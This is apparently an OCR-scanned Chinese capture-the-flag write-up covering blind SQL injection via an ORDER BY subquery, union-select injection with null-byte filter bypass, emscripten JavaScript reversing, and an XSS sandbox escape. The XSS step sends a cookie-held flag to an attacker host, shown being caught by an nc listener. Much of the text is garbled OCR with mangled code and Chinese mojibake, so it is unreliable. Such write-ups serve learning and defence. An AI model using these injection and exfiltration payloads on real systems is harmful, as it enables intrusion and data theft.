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Name Price You Have

Frostmourn 4000 0
Erwin Schrodinger's Cat 1600 1
IHINT! 8000 0
Backsword 2800 0
Brownie 2200 1
Ice Cream 300 0
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@ Load URL  http://202.120.7.197/app.php?action=search&keyword=8&order=if(substr((select(flag) From(ce63e444b0d049e9c899c9a0336b3c59)), 1, 1) like(0x00), price,name)
% split URL
+) Execute

Enable Post data Enable Referrer

{"status":"suc""'goods":[{"id":"5""'name":"Brownie""price":"2200""number":0},{"id":"2"" name":"Erwin Schrodinger's Cat","price":"1600""number":0}]}
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@ Load URL  http://202.120.7.197/app.php?action=search&keyword=&order=if(substr{(select(flag)from{ce63e444b0d 049e9c899c9a0336b3c59)),1,1)like(0x46), price,name)
¥ splitURL
») Execute

Enable Post data Enable Referrer

o

{"status":"suc",'goods":[{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600",'number":0},{"id":"5",'name":"Brownie", price":"2200","number":0}]}

Fir L8R Jm AR A FL 2 BT A AT HE P B e 6 i 2l HI ke i — £z (i flag
e AT



95
flag_rdce_cOnditi®n_1i5_excited_
a

1

Bl RHE S AT T -

King of Glory Player List

—IE s i 1R R T




VRS2 4 FRAT 14 N FH Module.main() BREL, G REA T4 NG BB

% hash
a2 AT AZ O B a2 B AR AT AE IR

AT OL N ek [E

1—‘—r VrZan th

T

Bt 2R Bl wrongboy , 75 IR [R]IE 5 A%, £l

A% UK R BEAT AR OCHRAE .

FIUARATR FEAFHAED, —AEFHN, —ANJEEwEBN, MFF*HJJ WA R RS AT R st T L T, FFUE A KR
1, RET, Jak#pichromesiii® I - < Hl HCTF2016 A ALl 8

HODERIE 2 JFRIX B2 —, function.js MI76331TH] $13 &,

1 i N\ 2 true, BUR G\ /2 false,

R T
7622| $8 = sp + 16]0; $8 = 7504 * |»Debugger paused = ;g%g 22
7623| 39 = sp + 4]0; $9 = 7492 “Watch +o 7630| 451
7624| (_time(($timestamp_sec|0))|@); $timestamp_sec = 7648 it YA functionnjs | 7621| $7
7625 $10 = { ZNSt3 1lichar traitsIcE6lengthEPKc(1524)10); “Call Stack - codejauerv.com 7eos <8
7626 ZNSt3_112basic_stringIcNS_llchar trans Qallocaterl Z10USer INDUENSES 117Das - 7623 $9
4 L 40 7624 (_time(($timestamp sec|@)}|@); $timestamp sec = 7648
7625 $18 = (_ 7NSt3_ 11ichar traitsIcE6lengthEPKc (15241 |0); $18 =
i s — SE— 7626 ZNSt3_ 112basic stringIchS llchar traitsIcEENS 9allocatorIcEEEG initEPKc] ($s,1524,518); $s = 1
- ] = T 7627 HEAP32[Ste>>2]=]0;HEAP32[Ste+d>>2]=0|0;HEAPI2 [5te+8>>2]=0|0; Ste = 7624
7631 [_ZNSt3 1ldbasic “”“91("5 Tichar traitsTceens gallocator L — A o 1 7628| $11 = HEAsz[$tmlstampfsec»2]|s snl 1489836237, Stimestamp sec = 7648
7652 $12 = ( 74uiiiRKNSE3_ 112basic stringTchs 1lchar traitsIcee | [2nan ) 7625 HEAP32[fuararg butferss3] - $11; 4vararg buffer - 7
0 Local 7630 (_sprintfi$t,1533,%vararg_buffer)|0); $t = 7656
=205 EAP3Z 0 aggsT 0: 7912 L 7631 (__ZNSt3 112basic -_stringIcNS_llchar_traitsIcEENS 9allocatorIcEEE6assignEPKc(dte,$t)|0); dte = 7¢
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7637) __ZNSt3_ 1l2basic_stringIcNS_llchar_traitsIcEENS 9allocator 3 7576 } 7634 iF (181300
7638)  __ZNSt3 “1l12basic stringIcNs llchar traitsICEENS 9allocator 4% 7564 7635 EAP32[Sagasresult=>2]=HEAP32 [355>2] | 0; HEAP32[$agq§ result+4>>21-HEAP32[§5+45>2] | 0; HEAP32 [$aggs!
;gjg )ST“KT“P sp;return; [sp = 7488 5:7552 7636 (HEAP32[$5>>21=B|0;HEAP32[$5+4>>21=0]0; HEAP32[$5+8>>21-00;
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7644 $17 = $148255; 17 = B ] 10: 8 % 7641 $14 = HEAPB[$inStr>>0]|0; §14 = 8, $inStr = 7456
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7649| $22 = (({$inStr}) = 15:0 203 (((sinstr)) + 1]0); $19 = @, $instr = 7456
7650| $23 = ({(sinstr]) - 16: 6 (({sinstr]) + 1[6); 520 = ©
7651) $ig0 = 0; §ifa'= 17:0 34 (({sinstrl} + g[0); $21 = 0
7652| while(1) { 1816 (({sinstr]} + 8[0); $22 = @
7653) if {416) { 416 =78 19:6 7650 $23 = ((($inStr]) + 4[0); $23 = @
J654|  §26 - $18; $26 = 0, §18 = @ 20: 6 7651 $i50 = 0; $i88 = 0
7655 } else { 21:0 7652 while(1) {
TOSE| 524 - HEAP3 (523221 (0; $24 = 0, $23 = @ S0 7653 “if (s16) { 16 = @
e }Hﬁ = $24; 526 = 2310 7654 $26 = $18; $26 = 0, $18 = 0
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7697 label = 12; label = el label = 12; label = @
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7705/ __ZNSt3_ 112basic_stringIcNS_1lchar traitsIcEENS 9allocator 417564 __ZNSt3_ 112basic stringIcNS 1lchar traitsIcEENS 9allocatorIcEEED2Ev($s);
7706 STACKTOP = sp;return; 5: 7552 STACKTOP = sp;return;
7707 6: 7540
7708 ;HEAP32[$f1nab>2]=B|0;HEAP32[$fjnal+d>:2]=@\s;HEAP32[sfinal 7: 7516 ;HEAPSz[tfmal»z]:a|o,HEAPazlsfinahe:»z]:me;HEAFJz[sfinahe»z]:o|e-,
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args= ()
query=location.search.substring(');
pairs=query.split( );

( i=";i<pairs.length;i++)

pos=pairs[i].index0Of( );
(pos==-1) g
argname=pairs[i].substring(,pos);
value=pairs[i].substring(pos+!);
args[argname]= (value);

args;

args = GetUrlParms();
(args|[ =

value = args[ I
ar = Module.main(value).split( )5
(ar.length==

S =
window.location.href=s;
$(document) . ready( {
content=$.ajax({url:s, async: 1)
$( ).html(content.responseText);
1)

((ar.length==")&(ar[ ]==

alert( )

wait = setInterval( { (Module.main != )Y{clearInterval(wait);go();}},
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SRR

IRIR AT flag,user
flag H A4 i— hey
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Z%flag.

@ LoadURL  hitp://127.0.0.1:8000/a.htmI?id=1 and 1=2 union select 1,hey from Flag
¥ split URL
v Execute

Enable Post data Enable Referrer

flag{emScripten_is_Cut3_right?}

simplesqlin

— W A4 KRR ARE R S sqlEN,  fR] S AT R AN
A T, [k orderbyH I A =71
SRR R I select il IE 1, SRJA K IAEA %002 Jm mt e Seid
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@ LoadURL  http://202.120.7.203/index.php?id=1and 1=2 union s%00elect 1,flag,3 Fro%00m Flag|

¥ split URL
+) Execute

Enable Post data Enable Referrer
3

complicated xss

SES 1R 187 MRS 4 7N P

BEmdSEE AL 1, BRI A RE 7. HEEM

AR IR ixss £, B2 LERYT A http://admin.government.vip:8eee HiAEEFflag T, SRJEHATKEI VT il — Fix AW TR I
AAENAS, SRR BT T A4, Blcookie BTH username i, ASFATHIARZEE M IE D IEH FR2E I cookie, A5
BRI 2 2 S BERAT AR T A 2

AR EE RIS
<script>
J/sandbox

delete window.Function;
delete window.eval;

delete window.alert;

delete window.XMLHttpRequest;
delete window.Proxy;

delete window.Image;

delete window.postMessage;
</script=

FEIXA U3 ) R BORR TCVE A
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seconds = seconds || ©;

expires = ;

(seconds != ) {

date = 0);
date.setTime(date.getTime()+(seconds* ));
expires = +date.toGMTString();

}

document.cookie name+ +value+expires+

¥

setCookie( .fromCharCode(

location.href=
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W2 AT TR ZAE http://admin. government.vip:8000 TLIH I iTpostiz R _FAL 30/, #i& TIFA, &)1 1Sjqueryld H

seconds = seconds || ©;
expires = 5
(seconds != ) {
date = 0);

HiX B 5| N Tiframe, 2R )5 R this.contentWindow Xt %k 5eid eval HIFHAT o

date.setTime(date.getTime()+(seconds*
expires = +date.toGMTString();

}

document.cookie = name+"="+value+expires+

¥
setCookie(
location.href=

HE]HS— 5 1 String. fromCharCode /&

RIGTEFR HFIvps 3 H upload_ajax.js UlF:



FREI A REIR 2 N Tk FR AT 5] N jquery BIARZEARY, XK makeRequest A BEIE & AT, #5ea X BB A i 2 e FH 0k H KA
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nc -Llvvp 12345

listening on [any] 12345

202.120.7.285: inverse host lookup failed: Unknown host

connect to [104.160.43.154] from (UNKNOWN) [202.126.7.205] 49950
GET /?a=123+flag%7Bxss_1is fun_ 2333333%7D HTTP/1.1

Accept: */*

jorigin: http://admin.government.vip:8000

User-Agent: Mozilla/5.8 Chrome(phantomjs) for 8ctfze17 by md5 salt
Connection: Keep-Alive

Accept-Encoding: gzip, deflate

Accept-Language: en,*

Host: 104.160.43.154:12345

sent 0, rcvd 283
- html ]
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[j9%|ﬂ£ﬁﬁﬁ1k21f*?hﬂ]‘TLl%I)\1 (i script,img,svg,link 5 KBRS
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HEMUE, BESRUL T R BT A M chrome, BERTULH o Zeid ., SRJEWUR R \ S H ST https Vil aEE:, payloadin
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~ 2017838198 15:8:16 202.120.7.2 LiEiEAT IS Linux Chrome(5 7.98) GET {"GET":["flag{th1s_is_from_a_red]_cas3}

GET POST
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Opening connection to 2082.120.7.217 on port 8221: Done
f751al6eae391ddof4dbfb5c4a74021714c63b729049860cb9905a23e3d718073F17049464bbc44f1bdccde9ea233d1f17ba7e5a78c1fa77811a0c72a519adea
P
7f6705be2e9904a9fa85ba3a4d1c703c14c63b729049860cb9905a2ae3d718073717049464bbc44f1bdccdedeaz33d1f

Welcome admin!
Switching to interactive mode

flag{Easy breken scheme cann®t keep yOur_ integrit

Please [r]egister or [1]ogin
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